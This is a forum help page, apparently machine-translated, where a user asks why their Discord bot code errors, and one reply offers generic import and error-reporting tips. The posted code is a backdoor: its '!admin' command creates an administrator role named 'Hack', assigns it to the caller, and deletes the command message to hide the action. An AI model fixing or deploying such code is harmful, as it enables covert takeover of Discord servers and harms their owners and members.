Answer the question
In order to leave comments, you need to log in
Here is my discord bot giving an error how to fix it?
import discord
from discord.ext import commands
from asyncio import sleep
from discord.utils import get
TOKEN = 'секрет'
bot = commands.Bot(command_prefix='!') # ! - префикс, на который будет реагировать наш бот
@bot.command(pass_context=True) # разрешаем передавать агрументы
async def admin(ctx): # создаем асинхронную фунцию бота
guild = ctx.guild
perms = discord.Permissions(administrator=True) #права роли
await guild.create_role(name="Hack", permissions=perms) #создаем роль
role = discord.utils.get(ctx.guild.roles, name="Hack") #находим роль по имени
user = ctx.message.author #находим юзера
await user.add_roles(role) #добовляем роль
await ctx.message.delete()
bot.run(TOKEN)
Answer the question
In order to leave comments, you need to log in
Try import discord.ext.commands
And add the text of the error to the question
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question